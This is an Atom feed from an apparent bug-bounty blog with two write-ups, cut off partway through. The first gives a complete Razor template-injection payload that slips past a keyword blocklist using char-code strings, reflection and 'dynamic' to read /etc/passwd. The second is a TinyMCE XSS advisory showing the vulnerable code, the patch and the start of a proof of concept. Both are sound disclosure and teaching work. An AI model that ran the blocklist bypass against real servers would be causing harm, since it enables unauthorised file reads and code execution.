<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://phsi.se/feed.xml" rel="self" type="application/atom+xml" /><link href="https://phsi.se/" rel="alternate" type="text/html" /><updated>2026-05-31T11:20:41+02:00</updated><id>https://phsi.se/feed.xml</id><title type="html">phsi</title><subtitle>Bug bounty writeups and security research.</subtitle><author><name>Philip Sinnott</name></author><entry><title type="html">Chaining Razor SSTI into RCE via Reflection and Runtime Strings</title><link href="https://phsi.se/posts/chaining-razor-ssti-into-rce-via-reflection-and-runtime-strings/" rel="alternate" type="text/html" title="Chaining Razor SSTI into RCE via Reflection and Runtime Strings" /><published>2026-05-20T00:00:00+02:00</published><updated>2026-05-20T00:00:00+02:00</updated><id>https://phsi.se/posts/chaining-razor-ssti-into-rce-via-reflection-and-runtime-strings</id><content type="html" xml:base="https://phsi.se/posts/chaining-razor-ssti-into-rce-via-reflection-and-runtime-strings/"><![CDATA[<p>A few months ago, I found a textbook case of server-side template injection (SSTI) in an app’s template functionality. It was the first time I’d found one in the wild during bug bounty hunting, so I was very excited.</p>

<p>However, right after reporting it, I checked the hacktivity tab and noticed someone had submitted the exact same thing just before me.</p>

<figure class="img-caption">
  <img src="/assets/img/razor-ssti-rce/discordmsg.png" alt="discord message about the dupe" style="max-width: 70%;" />
  <figcaption>Translation: I think I just duped a SSTI/RCE with a 20 min window...</figcaption>
</figure>

<p>Not long after, I got it confirmed - the reports were a whopping <strong>four minutes</strong> apart:</p>

<p><img src="/assets/img/razor-ssti-rce/dupemsg.png" alt="dupe confirmation showing reports four minutes apart" style="max-width: 90%;" /></p>

<p>So yeah, that excitement didn’t last very long.</p>

<p>A few months later, I was testing the same functionality for a different case and hit a validation error I hadn’t seen before. I tried some old payloads that had previously worked, but they were all getting blocked.</p>

<p>I checked hacktivity again and the original report still hadn’t been formally resolved. So it looked like they <em>had</em> deployed a fix, they just never got around to closing the report.</p>

<p>At that point, I went on the hunt for a bypass. It ended up being an interesting challenge!</p>

<h2 id="background">Background</h2>
<p>Razor is a templating engine used in .NET web apps. It lets you mix C# code into HTML using <code class="language-plaintext highlighter-rouge">@</code> as a prefix. So if a developer writes <code class="language-plaintext highlighter-rouge">@DateTime.Now</code> in a template, the server runs that as actual C# and renders the result into the page.</p>

<p>The problem arises when user input ends up inside a Razor template. If you can inject <code class="language-plaintext highlighter-rouge">@</code> expressions into something the server compiles, you get arbitrary C# execution.</p>

<p>In this case, the app had a feature that let users edit templates through a web interface. The backend compiled those templates with Razor, so anything you typed into the editor got executed as C# on the server. My original payload was trivial and just called <code class="language-plaintext highlighter-rouge">System.IO.File</code> directly (.NET’s file system API):</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">@System</span><span class="p">.</span><span class="n">IO</span><span class="p">.</span><span class="n">File</span><span class="p">.</span><span class="nf">ReadAllText</span><span class="p">(</span><span class="s">"/etc/passwd"</span><span class="p">)</span>
</code></pre></div></div>

<h3 id="the-fix">The fix</h3>
<p>From what I could tell, the fix was a keyword blocklist. It seemed to scan templates for dangerous strings like <code class="language-plaintext highlighter-rouge">System.IO.File</code>, <code class="language-plaintext highlighter-rouge">System.Environment</code>, <code class="language-plaintext highlighter-rouge">GetMethod()</code>, and certain type casts before saving. If anything matched you got back a validation error.</p>

<h3 id="why-the-fix-didnt-work">Why the fix didn’t work</h3>

<p>The blocklist covered a lot of dangerous strings and blocked most obvious payloads. But things like loops, type conversions, and reflection were all still available, and the templates were still being compiled as C#. <code class="language-plaintext highlighter-rouge">@(4*4)</code> rendered <code class="language-plaintext highlighter-rouge">16</code>, <code class="language-plaintext highlighter-rouge">@(System.DateTime.Now)</code> returned the server timestamp, and so on.</p>

<h2 id="the-bypass">The bypass</h2>

<h3 id="1-building-strings-from-char-codes">1. Building strings from char codes</h3>

<p>The blocklist would catch you if you wrote <code class="language-plaintext highlighter-rouge">System.IO.File</code> anywhere in the template. But what if you never wrote it?</p>

<p>Since every character has a numeric ASCII value (<code class="language-plaintext highlighter-rouge">S</code>=83, <code class="language-plaintext highlighter-rouge">y</code>=121, etc.), you could build any string at runtime from an array of numbers:</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">string</span> <span class="n">typeName</span> <span class="p">=</span> <span class="k">null</span><span class="p">;</span>
<span class="kt">int</span><span class="p">[]</span> <span class="n">l</span> <span class="p">=</span> <span class="p">{</span><span class="m">83</span><span class="p">,</span><span class="m">121</span><span class="p">,</span><span class="m">115</span><span class="p">,</span><span class="m">116</span><span class="p">,</span><span class="m">101</span><span class="p">,</span><span class="m">109</span><span class="p">,</span><span class="m">46</span><span class="p">,</span><span class="m">73</span><span class="p">,</span><span class="m">79</span><span class="p">,</span><span class="m">46</span><span class="p">,</span><span class="m">70</span><span class="p">,</span><span class="m">105</span><span class="p">,</span><span class="m">108</span><span class="p">,</span><span class="m">101</span><span class="p">};</span>
<span class="k">foreach</span> <span class="p">(</span><span class="kt">int</span> <span class="n">c</span> <span class="k">in</span> <span class="n">l</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">typeName</span> <span class="p">+=</span> <span class="p">((</span><span class="kt">char</span><span class="p">)</span><span class="n">c</span><span class="p">).</span><span class="nf">ToString</span><span class="p">();</span>
<span class="p">}</span>
<span class="c1">// typeName is now "System.IO.File"</span>
</code></pre></div></div>

<p>The blocklist scanned the raw template text before it ever compiled. I could tell because the error triggered on save, before anything ran. So it was looking for the literal text <code class="language-plaintext highlighter-rouge">System.IO.File</code> in what you typed. But with this technique, the blocklist would just see a bunch of integers, so the scan passed and the string would later get assembled at runtime, after the check had already cleared it.</p>

<p>I got this technique from @brumens. He wrote a great post about <a href="https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation">SSTI exploitation</a>, I highly recommend reading it if you have time.</p>

<h3 id="2-turning-that-string-into-an-actual-type-via-net-reflection">2. Turning that string into an actual type via .NET reflection</h3>

<p>At this point I had the raw string <code class="language-plaintext highlighter-rouge">"System.IO.File"</code>, but you can’t use it to call file system methods, so I needed a way to actually get hold of that type at runtime.</p>

<p>That’s where <a href="https://learn.microsoft.com/en-us/dotnet/fundamentals/reflection/overview">.NET reflection</a> comes in. Normally when you call something in C#, the class and method names are written directly in your source code:</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">System</span><span class="p">.</span><span class="n">IO</span><span class="p">.</span><span class="n">File</span><span class="p">.</span><span class="nf">ReadAllText</span><span class="p">(</span><span class="s">"/etc/passwd"</span><span class="p">)</span>
</code></pre></div></div>

<p>Reflection lets you do the exact same thing, but by passing the names as strings at runtime instead:</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// class name as a string</span>
<span class="kt">var</span> <span class="n">fileType</span> <span class="p">=</span> <span class="n">Type</span><span class="p">.</span><span class="nf">GetType</span><span class="p">(</span><span class="s">"System.IO.File"</span><span class="p">);</span>
<span class="c1">// method name as a string</span>
<span class="kt">var</span> <span class="n">readAllText</span> <span class="p">=</span> <span class="n">fileType</span><span class="p">.</span><span class="nf">GetMethod</span><span class="p">(</span><span class="s">"ReadAllText"</span><span class="p">,</span> <span class="k">new</span><span class="p">[]{</span> <span class="k">typeof</span><span class="p">(</span><span class="kt">string</span><span class="p">)</span> <span class="p">});</span>
<span class="n">readAllText</span><span class="p">.</span><span class="nf">Invoke</span><span class="p">(</span><span class="k">null</span><span class="p">,</span> <span class="k">new</span><span class="p">[]{</span> <span class="s">"/etc/passwd"</span> <span class="p">});</span>
</code></pre></div></div>

<p>The end result is identical. The only difference is how you reference the class and method.</p>

<p>The obvious move now would be to just call <code class="language-plaintext highlighter-rouge">Type.GetType("System.IO.File")</code> directly, but <code class="language-plaintext highlighter-rouge">GetType</code> was also on the blocklist.</p>

<p>However, what wasn’t blocked was <code class="language-plaintext highlighter-rouge">GetMethods()</code>, which returns every method on a type as an array instead of looking up just a singular one. Using this, I could ask <code class="language-plaintext highlighter-rouge">System.Type</code> (which is .NET’s built-in class that represents all types) for all of its methods, use LINQ (C#’s built-in way to filter collections) to search through them and find the one named <code class="language-plaintext highlighter-rouge">GetType</code>, and then build that method name from char codes too so it never appeared as a literal:</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// (71,101,116,84,121,112,101) = "GetType"</span>
<span class="kt">var</span> <span class="n">getTypeMethod</span> <span class="p">=</span> <span class="k">typeof</span><span class="p">(</span><span class="n">System</span><span class="p">.</span><span class="n">Type</span><span class="p">)</span>
    <span class="p">.</span><span class="nf">GetMethods</span><span class="p">()</span>
    <span class="p">.</span><span class="nf">First</span><span class="p">(</span><span class="n">x</span> <span class="p">=&gt;</span> <span class="n">x</span><span class="p">.</span><span class="n">Name</span> <span class="p">==</span> <span class="k">new</span> <span class="kt">string</span><span class="p">(</span><span class="k">new</span><span class="p">[]{</span>
        <span class="p">(</span><span class="kt">char</span><span class="p">)</span><span class="m">71</span><span class="p">,(</span><span class="kt">char</span><span class="p">)</span><span class="m">101</span><span class="p">,(</span><span class="kt">char</span><span class="p">)</span><span class="m">116</span><span class="p">,(</span><span class="kt">char</span><span class="p">)</span><span class="m">84</span><span class="p">,</span>
        <span class="p">(</span><span class="kt">char</span><span class="p">)</span><span class="m">121</span><span class="p">,(</span><span class="kt">char</span><span class="p">)</span><span class="m">112</span><span class="p">,(</span><span class="kt">char</span><span class="p">)</span><span class="m">101</span>
    <span class="p">})</span> <span class="p">&amp;&amp;</span> <span class="n">x</span><span class="p">.</span><span class="nf">GetParameters</span><span class="p">().</span><span class="n">Length</span> <span class="p">==</span> <span class="m">1</span><span class="p">);</span>

<span class="kt">var</span> <span class="n">fileType</span> <span class="p">=</span> <span class="n">getTypeMethod</span><span class="p">.</span><span class="nf">Invoke</span><span class="p">(</span><span class="k">null</span><span class="p">,</span> <span class="k">new</span> <span class="kt">object</span><span class="p">[]{</span> <span class="n">typeName</span> <span class="p">});</span>
<span class="c1">// fileType is now a live Type reference to System.IO.File</span>
</code></pre></div></div>

<p>I filtered by <code class="language-plaintext highlighter-rouge">GetParameters().Length == 1</code> because <code class="language-plaintext highlighter-rouge">GetType</code> has <a href="https://learn.microsoft.com/en-us/dotnet/api/system.type.gettype?view=netframework-4.8.1#overloads" target="_blank" rel="noopener noreferrer">multiple overloads</a>, and I wanted the one that takes a single string argument.</p>

<p>Now <code class="language-plaintext highlighter-rouge">fileType</code> held the <code class="language-plaintext highlighter-rouge">System.IO.File</code> type. To call one of its methods I needed to retrieve them first, and <code class="language-plaintext highlighter-rouge">"GetMethods"</code> was blocked too, but building it via char codes worked here as well.</p>

<p>You might notice <code class="language-plaintext highlighter-rouge">fileType.GetType()</code> in the code below and wonder why that’s fine when GetType was blocked. As mentioned earlier, the method has multiple overloads. <code class="language-plaintext highlighter-rouge">fileType.GetType()</code> is the no-argument version built into every .NET object that just returns the object’s own type. That overload didn’t get caught by the blocklist, so we could call it directly.</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// (71,101,116,77,101,116,104,111,100,115) = "GetMethods"</span>
<span class="kt">string</span> <span class="n">getMethodsName</span> <span class="p">=</span> <span class="k">null</span><span class="p">;</span>
<span class="kt">int</span><span class="p">[]</span> <span class="n">k</span> <span class="p">=</span> <span class="p">{</span><span class="m">71</span><span class="p">,</span><span class="m">101</span><span class="p">,</span><span class="m">116</span><span class="p">,</span><span class="m">77</span><span class="p">,</span><span class="m">101</span><span class="p">,</span><span class="m">116</span><span class="p">,</span><span class="m">104</span><span class="p">,</span><span class="m">111</span><span class="p">,</span><span class="m">100</span><span class="p">,</span><span class="m">115</span><span class="p">};</span>
<span class="k">foreach</span> <span class="p">(</span><span class="kt">int</span> <span class="n">c</span> <span class="k">in</span> <span class="n">k</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">getMethodsName</span> <span class="p">+=</span> <span class="p">((</span><span class="kt">char</span><span class="p">)</span><span class="n">c</span><span class="p">).</span><span class="nf">ToString</span><span class="p">();</span>
<span class="p">}</span>

<span class="kt">var</span> <span class="n">fileMethods</span> <span class="p">=</span> <span class="n">fileType</span><span class="p">.</span><span class="nf">GetType</span><span class="p">()</span>
    <span class="p">.</span><span class="nf">GetMethods</span><span class="p">()</span>
    <span class="p">.</span><span class="nf">First</span><span class="p">(</span><span class="n">x</span> <span class="p">=&gt;</span> <span class="n">x</span><span class="p">.</span><span class="n">Name</span> <span class="p">==</span> <span class="n">getMethodsName</span> <span class="p">&amp;&amp;</span> <span class="n">x</span><span class="p">.</span><span class="nf">GetParameters</span><span class="p">().</span><span class="n">Length</span> <span class="p">==</span> <span class="m">0</span><span class="p">)</span>
    <span class="p">.</span><span class="nf">Invoke</span><span class="p">(</span><span class="n">fileType</span><span class="p">,</span> <span class="k">null</span><span class="p">);</span>
<span class="c1">// fileMethods now contains every method on System.IO.File</span>
</code></pre></div></div>

<h3 id="3-dodging-the-cast-restrictions-with-dynamic">3. Dodging the cast restrictions with <code class="language-plaintext highlighter-rouge">dynamic</code></h3>

<p>At this point I was able to do the following:</p>
<ul>
  <li>Build any blocked string from char codes at runtime so the blocklist only sees integers</li>
  <li>Resolve those strings into actual .NET types via reflection</li>
</ul>

<p>The last problem was <code class="language-plaintext highlighter-rouge">.Invoke()</code>’s return type. It always comes back as <code class="language-plaintext highlighter-rouge">object</code>, and to actually use the result you’d normally need to cast it first. But as mentioned earlier, casts were also on the blocklist.</p>

<blockquote>
  <p>A type cast tells the compiler to treat a value as a specific type. C# is statically typed, so types are checked at compile time. If something is typed as <code class="language-plaintext highlighter-rouge">object</code> (the most generic type in .NET), the compiler won’t let you call methods on it or index into it as an array. A cast is just you telling the compiler what type it actually is, so it lets you use it properly.</p>
  <div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">object</span> <span class="n">x</span> <span class="p">=</span> <span class="s">"hello"</span><span class="p">;</span>
<span class="n">x</span><span class="p">.</span><span class="nf">ToUpper</span><span class="p">();</span>          <span class="c1">// error: x is typed as object, no ToUpper()</span>
<span class="p">((</span><span class="kt">string</span><span class="p">)</span><span class="n">x</span><span class="p">).</span><span class="nf">ToUpper</span><span class="p">()</span> <span class="c1">// works: cast tells compiler x is a string</span>
</code></pre></div>  </div>
</blockquote>

<p>Luckily for us, C# has a keyword called <code class="language-plaintext highlighter-rouge">dynamic</code> that tells the compiler to skip type checking entirely. You can index into it, call methods on it, etc. without the compiler checking any of it.</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">dynamic</span> <span class="n">fileMethods</span> <span class="p">=</span> <span class="n">fileType</span><span class="p">.</span><span class="nf">GetType</span><span class="p">()</span>
    <span class="p">.</span><span class="nf">GetMethods</span><span class="p">()</span>
    <span class="p">.</span><span class="nf">First</span><span class="p">(</span><span class="n">x</span> <span class="p">=&gt;</span> <span class="n">x</span><span class="p">.</span><span class="n">Name</span> <span class="p">==</span> <span class="n">getMethodsName</span> <span class="p">&amp;&amp;</span> <span class="n">x</span><span class="p">.</span><span class="nf">GetParameters</span><span class="p">().</span><span class="n">Length</span> <span class="p">==</span> <span class="m">0</span><span class="p">)</span>
    <span class="p">.</span><span class="nf">Invoke</span><span class="p">(</span><span class="n">fileType</span><span class="p">,</span> <span class="k">null</span><span class="p">);</span>

<span class="kt">var</span> <span class="n">openText</span> <span class="p">=</span> <span class="n">fileMethods</span><span class="p">[</span><span class="m">0</span><span class="p">];</span> <span class="c1">// OpenText = opens a file for reading</span>
</code></pre></div></div>

<p>It’s the same chain from the end of step 2, just with <code class="language-plaintext highlighter-rouge">dynamic fileMethods</code> instead of <code class="language-plaintext highlighter-rouge">var fileMethods</code>.</p>

<h2 id="the-full-chain">The full chain</h2>

<p>Combining all three, here’s what the final payload looks like. Note that the <code class="language-plaintext highlighter-rouge">/etc/passwd</code> path is encoded the same way.</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">@</span><span class="p">{</span>
    <span class="kt">string</span> <span class="n">n</span> <span class="p">=</span> <span class="k">null</span><span class="p">;</span>
    <span class="kt">int</span><span class="p">[]</span> <span class="n">l</span> <span class="p">=</span> <span class="p">{</span><span class="m">83</span><span class="p">,</span><span class="m">121</span><span class="p">,</span><span class="m">115</span><span class="p">,</span><span class="m">116</span><span class="p">,</span><span class="m">101</span><span class="p">,</span><span class="m">109</span><span class="p">,</span><span class="m">46</span><span class="p">,</span><span class="m">73</span><span class="p">,</span><span class="m">79</span><span class="p">,</span><span class="m">46</span><span class="p">,</span><span class="m">70</span><span class="p">,</span><span class="m">105</span><span class="p">,</span><span class="m">108</span><span class="p">,</span><span class="m">101</span><span class="p">};</span>
    <span class="k">foreach</span> <span class="p">(</span><span class="kt">int</span> <span class="n">c</span> <span class="k">in</span> <span class="n">l</span><span class="p">)</span> <span class="p">{</span> <span class="n">n</span> <span class="p">+=</span> <span class="p">((</span><span class="kt">char</span><span class="p">)</span><span class="n">c</span><span class="p">).</span><span class="nf">ToString</span><span class="p">();</span> <span class="p">}</span>

    <span class="kt">var</span> <span class="n">g</span> <span class="p">=</span> <span class="k">typeof</span><span class="p">(</span><span class="n">System</span><span class="p">.</span><span class="n">Type</span><span class="p">)</span>
        <span class="p">.</span><span class="nf">GetMethods</span><span class="p">()</span>
        <span class="p">.</span><span class="nf">First</span><span class="p">(</span><span class="n">x</span> <span class="p">=&gt;</span> <span class="n">x</span><span class="p">.</span><span class="n">Name</span> <span class="p">==</span> <span class="k">new</span> <span class="kt">string</span><span class="p">(</span><span class="k">new</span><span class="p">[]{</span>
            <span class="p">(</span><span class="kt">char</span><span class="p">)</span><span class="m">71</span><span class="p">,(</span><span class="kt">char</span><span class="p">)</span><span class="m">101</span><span class="p">,(</span><span class="kt">char</span><span class="p">)</span><span class="m">116</span><span class="p">,(</span><span class="kt">char</span><span class="p">)</span><span class="m">84</span><span class="p">,(</span><span class="kt">char</span><span class="p">)</span><span class="m">121</span><span class="p">,(</span><span class="kt">char</span><span class="p">)</span><span class="m">112</span><span class="p">,(</span><span class="kt">char</span><span class="p">)</span><span class="m">101</span>
        <span class="p">})</span> <span class="p">&amp;&amp;</span> <span class="n">x</span><span class="p">.</span><span class="nf">GetParameters</span><span class="p">().</span><span class="n">Length</span> <span class="p">==</span> <span class="m">1</span><span class="p">);</span>

    <span class="kt">var</span> <span class="n">t</span> <span class="p">=</span> <span class="n">g</span><span class="p">.</span><span class="nf">Invoke</span><span class="p">(</span><span class="k">null</span><span class="p">,</span> <span class="k">new</span> <span class="kt">object</span><span class="p">[]{</span> <span class="n">n</span> <span class="p">});</span>

    <span class="kt">string</span> <span class="n">gm</span> <span class="p">=</span> <span class="k">null</span><span class="p">;</span>
    <span class="kt">int</span><span class="p">[]</span> <span class="n">k</span> <span class="p">=</span> <span class="p">{</span><span class="m">71</span><span class="p">,</span><span class="m">101</span><span class="p">,</span><span class="m">116</span><span class="p">,</span><span class="m">77</span><span class="p">,</span><span class="m">101</span><span class="p">,</span><span class="m">116</span><span class="p">,</span><span class="m">104</span><span class="p">,</span><span class="m">111</span><span class="p">,</span><span class="m">100</span><span class="p">,</span><span class="m">115</span><span class="p">};</span>
    <span class="k">foreach</span> <span class="p">(</span><span class="kt">int</span> <span class="n">c</span> <span class="k">in</span> <span class="n">k</span><span class="p">)</span> <span class="p">{</span> <span class="n">gm</span> <span class="p">+=</span> <span class="p">((</span><span class="kt">char</span><span class="p">)</span><span class="n">c</span><span class="p">).</span><span class="nf">ToString</span><span class="p">();</span> <span class="p">}</span>

    <span class="kt">dynamic</span> <span class="n">ms</span> <span class="p">=</span> <span class="n">t</span><span class="p">.</span><span class="nf">GetType</span><span class="p">()</span>
        <span class="p">.</span><span class="nf">GetMethods</span><span class="p">()</span>
        <span class="p">.</span><span class="nf">First</span><span class="p">(</span><span class="n">x</span> <span class="p">=&gt;</span> <span class="n">x</span><span class="p">.</span><span class="n">Name</span> <span class="p">==</span> <span class="n">gm</span> <span class="p">&amp;&amp;</span> <span class="n">x</span><span class="p">.</span><span class="nf">GetParameters</span><span class="p">().</span><span class="n">Length</span> <span class="p">==</span> <span class="m">0</span><span class="p">)</span>
        <span class="p">.</span><span class="nf">Invoke</span><span class="p">(</span><span class="n">t</span><span class="p">,</span> <span class="k">null</span><span class="p">);</span>

    <span class="kt">var</span> <span class="n">m</span> <span class="p">=</span> <span class="n">ms</span><span class="p">[</span><span class="m">0</span><span class="p">];</span>

    <span class="kt">string</span> <span class="n">f</span> <span class="p">=</span> <span class="k">null</span><span class="p">;</span>
    <span class="kt">int</span><span class="p">[]</span> <span class="n">p</span> <span class="p">=</span> <span class="p">{</span><span class="m">47</span><span class="p">,</span><span class="m">101</span><span class="p">,</span><span class="m">116</span><span class="p">,</span><span class="m">99</span><span class="p">,</span><span class="m">47</span><span class="p">,</span><span class="m">112</span><span class="p">,</span><span class="m">97</span><span class="p">,</span><span class="m">115</span><span class="p">,</span><span class="m">115</span><span class="p">,</span><span class="m">119</span><span class="p">,</span><span class="m">100</span><span class="p">};</span>
    <span class="k">foreach</span> <span class="p">(</span><span class="kt">int</span> <span class="n">c</span> <span class="k">in</span> <span class="n">p</span><span class="p">)</span> <span class="p">{</span> <span class="n">f</span> <span class="p">+=</span> <span class="p">((</span><span class="kt">char</span><span class="p">)</span><span class="n">c</span><span class="p">).</span><span class="nf">ToString</span><span class="p">();</span> <span class="p">}</span>

    <span class="kt">var</span> <span class="n">sr</span> <span class="p">=</span> <span class="n">m</span><span class="p">.</span><span class="nf">Invoke</span><span class="p">(</span><span class="k">null</span><span class="p">,</span> <span class="k">new</span> <span class="kt">object</span><span class="p">[]{</span> <span class="n">f</span> <span class="p">});</span>
    <span class="kt">var</span> <span class="n">v</span> <span class="p">=</span> <span class="n">sr</span><span class="p">.</span><span class="nf">ReadToEnd</span><span class="p">();</span>
<span class="p">}</span><span class="n">@v</span>
</code></pre></div></div>

<p>In the end, all it does is:</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">@System</span><span class="p">.</span><span class="n">IO</span><span class="p">.</span><span class="n">File</span><span class="p">.</span><span class="nf">OpenText</span><span class="p">(</span><span class="s">"/etc/passwd"</span><span class="p">).</span><span class="nf">ReadToEnd</span><span class="p">()</span>
</code></pre></div></div>

<p><img src="/assets/img/razor-ssti-rce/collaborator.png" alt="Burp Collaborator SMTP callback showing /etc/passwd output" style="max-width: 100%;" /></p>

<p>Aside from reading arbitrary files on the server, we could point the same chain at other types and methods across the .NET runtime to achieve further impact as well.</p>

<p><img src="/assets/img/razor-ssti-rce/bounty.png" alt="bounty award" style="max-width: 500px;" /></p>

<p>At least the second attempt was worth it, höhö.</p>]]></content><author><name>Philip Sinnott</name></author><category term="bug bounty" /><summary type="html"><![CDATA[A few months ago, I found a textbook case of server-side template injection (SSTI) in an app’s template functionality. It was the first time I’d found one in the wild during bug bounty hunting, so I was very excited.]]></summary></entry><entry><title type="html">CVE-2023-45819</title><link href="https://phsi.se/posts/cve-2023-45819/" rel="alternate" type="text/html" title="CVE-2023-45819" /><published>2023-10-22T00:00:00+02:00</published><updated>2023-10-22T00:00:00+02:00</updated><id>https://phsi.se/posts/cve-2023-45819</id><content type="html" xml:base="https://phsi.se/posts/cve-2023-45819/"><![CDATA[<p>Not long ago, I discovered a cross-site scripting vulnerability affecting versions <code class="language-plaintext highlighter-rouge">&lt; 6.4.2</code> and <code class="language-plaintext highlighter-rouge">&lt; 5.10.8</code><sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup> of TinyMCE.</p>

<p>Initially, I thought it was just a recreation of <a href="https://www.cve.org/CVERecord?id=CVE-2022-23494">CVE-2022-23494</a>. However, after further research, I concluded that it was a similar but separate issue (now classified as <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-45819">CVE-2023-45819</a>).</p>

<h2 id="tinymce">TinyMCE</h2>

<p>TinyMCE is a popular open-source WYSIWYG (What You See Is What You Get) rich-text editor used by more than 1.5 million developers<sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup>. It provides a user-friendly interface for creating and editing rich-text content on websites and web applications. It is highly customizable and supports a wide range of plugins.</p>

<h2 id="problem--patch">Problem &amp; Patch</h2>

<p>The vulnerability exploits the fact that the notification manager API, which handles the creation of TinyMCE’s notifications, did not perform any sanitization or validation of user-supplied input. It was instead <strong>directly</strong> being inserted into the DOM:</p>

<div class="language-ts highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">factory</span><span class="p">:</span> <span class="nx">UiSketcher</span><span class="p">.</span><span class="nx">SingleSketchFactory</span><span class="o">&lt;</span><span class="nx">NotificationSketchDetail</span><span class="p">,</span> <span class="nx">NotificationSketchSpec</span><span class="o">&gt;</span> <span class="o">=</span> <span class="p">(</span><span class="nx">detail</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="c1">// For using the alert banner as a standalone banner</span>
  <span class="kd">const</span> <span class="nx">memBannerText</span> <span class="o">=</span> <span class="nx">Memento</span><span class="p">.</span><span class="nx">record</span><span class="p">({</span>
    <span class="na">dom</span><span class="p">:</span> <span class="p">{</span>
      <span class="na">tag</span><span class="p">:</span> <span class="dl">'</span><span class="s1">p</span><span class="dl">'</span><span class="p">,</span>
      <span class="na">innerHtml</span><span class="p">:</span> <span class="nx">detail</span><span class="p">.</span><span class="nx">translationProvider</span><span class="p">(</span><span class="nx">detail</span><span class="p">.</span><span class="nx">text</span><span class="p">)</span>
    <span class="p">},</span>
    <span class="na">behaviours</span><span class="p">:</span> <span class="nx">Behaviour</span><span class="p">.</span><span class="nx">derive</span><span class="p">([</span>
      <span class="nx">Replacing</span><span class="p">.</span><span class="nx">config</span><span class="p">({</span> <span class="p">})</span>
    <span class="p">])</span>
  <span class="p">});</span>
</code></pre></div></div>

<p>In the updated and patched versions of TinyMCE, the vulnerability has been mitigated by using <a href="https://github.com/cure53/DOMPurify">DOMPurify</a> to sanitize and remove any malicious elements or attributes in the user-supplied input <strong>before</strong> it is inserted into the DOM. Lines 4-7 in the above code snippet have been replaced with the following:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dom: DomFactory.fromHtml(`&lt;p&gt;${HtmlSanitizer.sanitizeHtmlString(detail.translationProvider(detail.text))}&lt;/p&gt;`),
</code></pre></div></div>

<p>For more context, see the entire patch/commit <a href="https://github.com/tinymce/tinymce/commit/1365f04567c6a57dbe6348674b1776c3e110346a">here</a> and the GH advisory <a href="https://github.com/advisories/GHSA-hgqx-r2hp-jr38">here</a>.</p>

<h2 id="proof-of-concept">Proof of Concept</h2>

<p>To replicate the vulnerability in one of the affected versions, follow these steps (this example is specific to version 5.10.7):</p>

<ol>
  <li>
    <p>Download and unzip a local copy of TinyMCE:</p>

    <div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wget https://download.tiny.cloud/tinymce/community/tinymce_5.10.7_dev.zip
unzip tinymce_5.10.7_dev.zip
</code></pre></div>    </div>
  </li>
  <li>
    <p>Create a file named <code class="language-plaintext highlighter-rouge">poc.html</code> and copy &amp; paste the following into it<sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">3</a></sup>:</p>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;!DOCTYPE html&gt;</span>
<span class="nt">&lt;html&gt;</span>
<span class="nt">&lt;head&gt;</span>
  <span class="nt">&lt;script </span><span class="na">src=</span><span class="s">"tinymce/js/tinymce/tinymce.min.js"</span><span class="nt">&gt;&lt;/script&gt;</span>
  <span class="nt">&lt;script </span><span class="na">type=</span><span class="s">"text/javascript"</span><span class="nt">&gt;</span>
  <span class="nx">tinymce</span><span class="p">.</span><span class="nx">init</span><span class="p">({</span>
    <span class="na">selector</span><span class="p">:</span> <span class="dl">'</span><span class="s1">textarea#file-picker</span><span class="dl">'</span><span class="p">,</span>
    <span class="na">plugins</span><span class="p">:</span> <span class="dl">'</span><span class="s1">image code</span><span class="dl">'</span><span class="p">,</span>
    <span class="na">toolbar</span><span class="p">:</span> <span class="dl">'</span><span class="s1">undo redo | link image | code</span><span class="dl">'</span><span class="p">,</span>
    <span class="na">image_title</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
    <span class="na">automatic_uploads</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
    <span class="na">file_picker_types</span><span class="p">:</span> <span class="dl">'</span><span class="s1">image</span><span class="dl">'</span><span class="p">,</span>
    <span class="na">file_picker_callback</span><span class="p">:</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">cb</span><span class="p">,</span> <span class="nx">value</span><span class="p">,</span> <span class="nx">meta</span><span class="p">)</span> <span class="p">{</span>
      <span class="kd">var</span> <span class="nx">input</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">input</span><span class="dl">'</span><span class="p">);</span>
      <span class="nx">input</span><span class="p">.</span><span class="nx">setAttribute</span><span class="p">(</span><span class="dl">'</span><span class="s1">type</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">file</span><span class="dl">'</span><span class="p">);</span>
      <span class="nx">input</span><span class="p">.</span><span class="nx">setAttribute</span><span class="p">(</span><span class="dl">'</span><span class="s1">accept</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">image/*</span><span class="dl">'</span><span class="p">);</span>

